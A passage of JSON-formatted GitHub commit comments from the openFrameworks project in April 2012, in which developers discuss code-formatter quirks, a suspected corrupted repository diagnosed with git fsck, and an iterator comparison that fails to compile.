things."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1191769","html_url":"https://github.com/openframeworks/openFrameworks/commit/d1a1ee1eace4152eb67fdb4e86a8b0efb3e5163b#commitcomment-1191769","id":1191769,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":1081,"line":1012,"path":"libs/openFrameworks/utils/ofFileUtils.cpp","commit_id":"d1a1ee1eace4152eb67fdb4e86a8b0efb3e5163b","created_at":"2012-04-10T09:08:27Z","updated_at":"2012-04-10T09:08:27Z","body":"probably because it's a function definition, not a word. doesn't explain the other case you point out kyle. curious."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1191779","html_url":"https://github.com/openframeworks/openFrameworks/commit/d1a1ee1eace4152eb67fdb4e86a8b0efb3e5163b#commitcomment-1191779","id":1191779,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":1041,"line":952,"path":"libs/openFrameworks/utils/ofFileUtils.cpp","commit_id":"d1a1ee1eace4152eb67fdb4e86a8b0efb3e5163b","created_at":"2012-04-10T09:09:24Z","updated_at":"2012-04-10T09:09:24Z","body":"This is really strange, this one was definitely supposed to be fixed in #1111, with setting `sp_angle_word=add`. Will investigate."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1192339","html_url":"https://github.com/openframeworks/openFrameworks/commit/d1a1ee1eace4152eb67fdb4e86a8b0efb3e5163b#commitcomment-1192339","id":1192339,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":1081,"line":1012,"path":"libs/openFrameworks/utils/ofFileUtils.cpp","commit_id":"d1a1ee1eace4152eb67fdb4e86a8b0efb3e5163b","created_at":"2012-04-10T11:59:52Z","updated_at":"2012-04-10T11:59:52Z","body":"@ofTheo, @kylemcdonald: Hm, I can't reproduce either of those formatting errors with the current develop version of the code formatter. Could you comment in #1072 how you exactly used the formatter?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1192391","html_url":"https://github.com/openframeworks/openFrameworks/commit/1a48b5afdf82361b040b02b1999be1703accb958#commitcomment-1192391","id":1192391,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"1a48b5afdf82361b040b02b1999be1703accb958","created_at":"2012-04-10T12:11:23Z","updated_at":"2012-04-10T12:13:24Z","body":"@ofZach: you used the eyebeam account again on this and the preceding commit. Also, the two following commits (by you presumably) have the strange author entry \"=\"... Could you confirm that the repo is not broken/polluted again? (e.g. tryto push, and do `git fsck --full`. `contains zero-padded file modes` and `dangling blob` warnings are OK)\r\n\r\n(sorry for the false notification, other Zach :-P)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1192448","html_url":"https://github.com/openframeworks/openFrameworks/commit/1a48b5afdf82361b040b02b1999be1703accb958#commitcomment-1192448","id":1192448,"user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following{/other_user}","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"1a48b5afdf82361b040b02b1999be1703accb958","created_at":"2012-04-10T12:28:01Z","updated_at":"2012-04-10T12:28:01Z","body":"sorry -- I have been moving around machines and checked in code from windows machines, etc. \r\n\r\nthis is fsck -- full: \r\n\r\nnew-host-3:openFrameworks$ git fsck --full\r\nerror in commit 4a136cc45b89fbeec99fc1020716de705490d3d3: invalid author/committer line - bad email\r\nwarning in tree bb1f763543cc01b7f5904fcfb636888c3ad73def: contains zero-padded file modes\r\ndangling blob ba210ec823ab12aec5021ad2a854887600265424\r\ndangling blob c681661242b9e03d67e615db7cb15af1facb7ecb\r\ndangling blob 8ba0068d4b09045a4dc4e4374e1946d04f419b79\r\ndangling blob fddc7a236690849d6ff3e5cbb06dc3b5739acaa4\r\ndangling blob 1b31874dc3db746d1ccb09227fd9f41ea043f8f7\r\ndangling blob 228cc52655c9b3dfbfadc1aa44ca13742fbb1869\r\ndangling blob 348d89cffb1a286f2ad57b884815dddaeedfc07a\r\ndangling blob d9a5cd54f0365cc1ede624d32fe4e73aef8b798e"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1192547","html_url":"https://github.com/openframeworks/openFrameworks/commit/1a48b5afdf82361b040b02b1999be1703accb958#commitcomment-1192547","id":1192547,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"1a48b5afdf82361b040b02b1999be1703accb958","created_at":"2012-04-10T12:53:47Z","updated_at":"2012-04-10T12:53:47Z","body":"is it broken?\r\nthe commit history looks quite weird."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1192574","html_url":"https://github.com/openframeworks/openFrameworks/commit/1a48b5afdf82361b040b02b1999be1703accb958#commitcomment-1192574","id":1192574,"user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following{/other_user}","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"1a48b5afdf82361b040b02b1999be1703accb958","created_at":"2012-04-10T13:02:38Z","updated_at":"2012-04-10T13:02:38Z","body":"those commits were made on various windows machines, but I had setup my ssh key properly -- maybe my user config was wrong. I'm happy if we want to drop those commits and I can remake them, they are very trivial changes. my zach@eyebeam.org email is associated with the ofZach account and the ssh keys are ok, so I'm not sure what github is getting wrong here. \r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1192588","html_url":"https://github.com/openframeworks/openFrameworks/commit/1a48b5afdf82361b040b02b1999be1703accb958#commitcomment-1192588","id":1192588,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"1a48b5afdf82361b040b02b1999be1703accb958","created_at":"2012-04-10T13:06:24Z","updated_at":"2012-04-10T13:06:31Z","body":"> is it broken?\r\n\r\nThis `error in commit 4a136cc: invalid author/committer line - bad email` would indicate it - it is the same error msg we got last time we had those problems. I haven't confirmed this personally, though, I haven't pulled those commits in yet (and I'm hesitant to do so)."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1192597","html_url":"https://github.com/openframeworks/openFrameworks/commit/1a48b5afdf82361b040b02b1999be1703accb958#commitcomment-1192597","id":1192597,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"1a48b5afdf82361b040b02b1999be1703accb958","created_at":"2012-04-10T13:08:02Z","updated_at":"2012-04-10T13:08:02Z","body":"@Zach: maybe a `\\n` in the email, or something? *justguessing*\r\nI'd think ssh key must be ok, otherwise you wouldn't be allowed to push onto the repo.\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1192605","html_url":"https://github.com/openframeworks/openFrameworks/commit/1a48b5afdf82361b040b02b1999be1703accb958#commitcomment-1192605","id":1192605,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"1a48b5afdf82361b040b02b1999be1703accb958","created_at":"2012-04-10T13:10:03Z","updated_at":"2012-04-10T13:10:03Z","body":"darn, no I only noticed: 4a136cc is the SHA of the commit we had trouble with last time - this shouldn't be in the repo anymore... maybe one of those machines you used still had the polluted repo on it?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1192607","html_url":"https://github.com/openframeworks/openFrameworks/commit/1a48b5afdf82361b040b02b1999be1703accb958#commitcomment-1192607","id":1192607,"user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following{/other_user}","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"1a48b5afdf82361b040b02b1999be1703accb958","created_at":"2012-04-10T13:10:43Z","updated_at":"2012-04-10T13:11:00Z","body":"could be -- also it looks like the clock was ahead (it was on a windows 7 laptop I rarely use) so that's why these commits come out for today, but I think they were made a while back. The important stuff is done after those weird commits, in these commits: f57915351475d50377e1299e81678541f2aa2d7e, c93c448e37fd716aa3c1cfa916d50c4ccba7a288, 67d1d8c769a1979b8a0cc71436083d10a83bee47\r\n\r\nwhat's a good way to fix this? \r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1192617","html_url":"https://github.com/openframeworks/openFrameworks/commit/1a48b5afdf82361b040b02b1999be1703accb958#commitcomment-1192617","id":1192617,"user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following{/other_user}","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"1a48b5afdf82361b040b02b1999be1703accb958","created_at":"2012-04-10T13:12:15Z","updated_at":"2012-04-10T13:12:15Z","body":"@bilderbuchi -- sorry, might be. I have been moving around among different machines to test windows pg, so maybe the bad commit was there? "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1192628","html_url":"https://github.com/openframeworks/openFrameworks/commit/1a48b5afdf82361b040b02b1999be1703accb958#commitcomment-1192628","id":1192628,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"1a48b5afdf82361b040b02b1999be1703accb958","created_at":"2012-04-10T13:14:34Z","updated_at":"2012-04-10T13:16:51Z","body":"Also, another thing: It's my fault and I confused your eyeBEAM account with the eyeWRITER account which originally made the troubles (i.e. 4a136cc), so maybe there's no cause for alarm after all. sorry for that.\r\n\r\nYou shouldn't have that error message, though, I wonder why you even can push from that repo.\r\n\r\nFixing: cloning a fresh copy of the repo would be the easiest way (if you got the bandwidth) to find out if it's polluted on GH or if it's just your machine. If the new one is clean, replace the old one with it.\r\nI'm currently trying this on my side, I'm on a university pipe so hopefully it's quick. :D"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1192662","html_url":"https://github.com/openframeworks/openFrameworks/commit/1a48b5afdf82361b040b02b1999be1703accb958#commitcomment-1192662","id":1192662,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"1a48b5afdf82361b040b02b1999be1703accb958","created_at":"2012-04-10T13:19:08Z","updated_at":"2012-04-10T13:25:38Z","body":"I agree with Theo, though - the commit history looks strange. ~~Also, those last commits are missing from the network view (could be a buffering issue or something, though)~~ scratch that, I found them a bit farther back from the tip"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1192679","html_url":"https://github.com/openframeworks/openFrameworks/commit/1a48b5afdf82361b040b02b1999be1703accb958#commitcomment-1192679","id":1192679,"user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following{/other_user}","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"1a48b5afdf82361b040b02b1999be1703accb958","created_at":"2012-04-10T13:22:46Z","updated_at":"2012-04-10T13:22:46Z","body":"one thing I think is the timing -- these commits were made on a machine where the time was not set right, so they are appearing as the last 4 commits -- that's not true. If you click the parents you can see where they fit, and they are there on the network chart: \r\nhttp://imgur.com/aFyoC\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1192699","html_url":"https://github.com/openframeworks/openFrameworks/commit/1a48b5afdf82361b040b02b1999be1703accb958#commitcomment-1192699","id":1192699,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"1a48b5afdf82361b040b02b1999be1703accb958","created_at":"2012-04-10T13:27:19Z","updated_at":"2012-04-10T13:27:19Z","body":"OK, I just pulled a fresh copy of the repo, and it comes away clean:\r\n\r\n\tcbuchner@kestrel:~/Desktop/openFrameworks$ git fsck --full\r\n\twarning in tree bb1f763543cc01b7f5904fcfb636888c3ad73def: contains zero-padded file modes\r\n\r\nso at least the GH repo seems unaffected. history is probably just wonky because of the wrong system clock?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1192707","html_url":"https://github.com/openframeworks/openFrameworks/commit/1a48b5afdf82361b040b02b1999be1703accb958#commitcomment-1192707","id":1192707,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"1a48b5afdf82361b040b02b1999be1703accb958","created_at":"2012-04-10T13:29:35Z","updated_at":"2012-04-10T13:33:22Z","body":"If you replace your existing repo (which gives the git-fsck error) with a fresh pull you should be good Zach. \r\nAlso, might be a good idea to find out what went wrong with the author info with those two \"=\" commits. git log looks like this:\r\n\r\n\tcommit 04de656fed0794e407dca86162ca2e306169390b\r\n\tAuthor: = <=>\r\n\tDate: Tue Apr 10 02:26:31 2012 -0700\r\n\r\n\t\tok, that didn't work so well... reverting back to the older style\r\n\r\nand the zach@eyebeam like this: `Author: zach@eyebeam.org `\r\n\r\nSorry for the false alarm/confusion, guys."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1192752","html_url":"https://github.com/openframeworks/openFrameworks/commit/1a48b5afdf82361b040b02b1999be1703accb958#commitcomment-1192752","id":1192752,"user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following{/other_user}","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"1a48b5afdf82361b040b02b1999be1703accb958","created_at":"2012-04-10T13:38:34Z","updated_at":"2012-04-10T13:38:34Z","body":"ok -- I pulled clean and git-fsck is fine. I'll take a look at seeing if I can fix those commit's author info so it's cleaner, not sure about being able to revise the time but I'll look into that also (so the commit history will look more legit)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1196834","html_url":"https://github.com/openframeworks/openFrameworks/commit/967997d28b877a4bcc2c8e4972f10b9b9d179562#commitcomment-1196834","id":1196834,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":78,"line":86,"path":"apps/devApps/projectGenerator/src/projects/baseProject.cpp","commit_id":"967997d28b877a4bcc2c8e4972f10b9b9d179562","created_at":"2012-04-11T10:06:11Z","updated_at":"2012-04-11T10:06:11Z","body":"hm, here you compare a set::iterator with a vector::iterator - does that really work? I'm asking because I just tried to compile it, and the compiler balks here with `no match for ‘operator!=’ in ‘it != 